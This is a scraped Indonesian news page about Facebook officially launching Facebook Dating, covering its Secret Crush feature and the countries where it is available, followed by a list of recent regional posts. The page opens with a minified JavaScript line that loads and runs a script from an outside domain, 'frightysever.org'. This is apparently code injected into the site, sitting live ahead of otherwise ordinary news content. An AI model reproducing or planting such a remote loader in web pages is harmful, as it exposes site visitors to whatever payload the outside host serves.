(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Teknologi

Wah, Facebook Kini Ada Fitur Kencan Online


Setelah melewati masa uji coba sejak Agustus tahun lalu, Facebook akhirnya resmi meluncurkan fitur kencan online yang digadang-gadang bakal menjadi pesaing Tinder..

Sesuai dengan rumor yang beredar sebelumnya, fitur ini memungkinkan pemilik akun Facebook untuk mengintegrasikan akunnya dengan fitur kencan online yang dinamai Facebook Dating.

“Di akhir tahun, kami akan memungkinkan pengguna untuk menambahkan Facebook dan Instagram Stories ke profil kencan online,” kata Nathan Sharp, Product Manager Facebook Dating, dalam blog resmi Facebook.

Bahkan, pengguna juga bisa menghubungkan postingan Instagram ke profil kencan online dan menambahkan pengikut ke dalam daftar ‘gebetan rahasia’ alias Secret Crush.

Bila dibandingkan dengan Facebook, aplikasi Facebook Dating punya fungsi yang cukup berbeda karena didesain untik mencari pasangan. Selain itu, profil di Dating juga bakal terpisah dari akun utama.

Dengan demikian, pengguna memiliki pilihan untuk membuat akun tersebut atau tidak. Jika tidak ingin membuatnya, maka pengguna Facebook Dating tidak akan menemukan nama mereka yang tidak menggunakan. Kecuali pengguna Facebook Dating memakai fitur Secret Crush yang berfungsi untuk menyatakan perasaannya kepada teman Facebook dan Instagram.

Namun jika pengguna memutuskan untuk membuat Facebook Dating dan mengisi profil akun tersebut, Facebook akan mencari dan merekomendasikan pasangan yang diperkirakan akan cocok dengan pengguna.

Sedangkan indeks kecocokan dilihat berdasarkan preferensi, ketertarikan, dan berbagai aktivitas yang dilakukan di Facebook. Intinya, pencarian dilandasi ketertarikan yang sama dengan pasangan.
Untuk sementara Fitur ini sudah bisa digunakan di Amerika Serikat, Brasil, Kanada, Chile, Kolombia, Ekuador, Guyana, Laos, Malaysia, Meksiko, Paraguay, Peru, Filipina, Singapura, Suriname, Thailand, Uruguay, dan Vietnam.

Selain itu, fitur ini bakal tersedia di Eropa pada awal 2020. Namun untuk Indonesia, informasinya masih belum diketahui. (suara.com)

Reporter : suara.com
Editor : bie

 


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.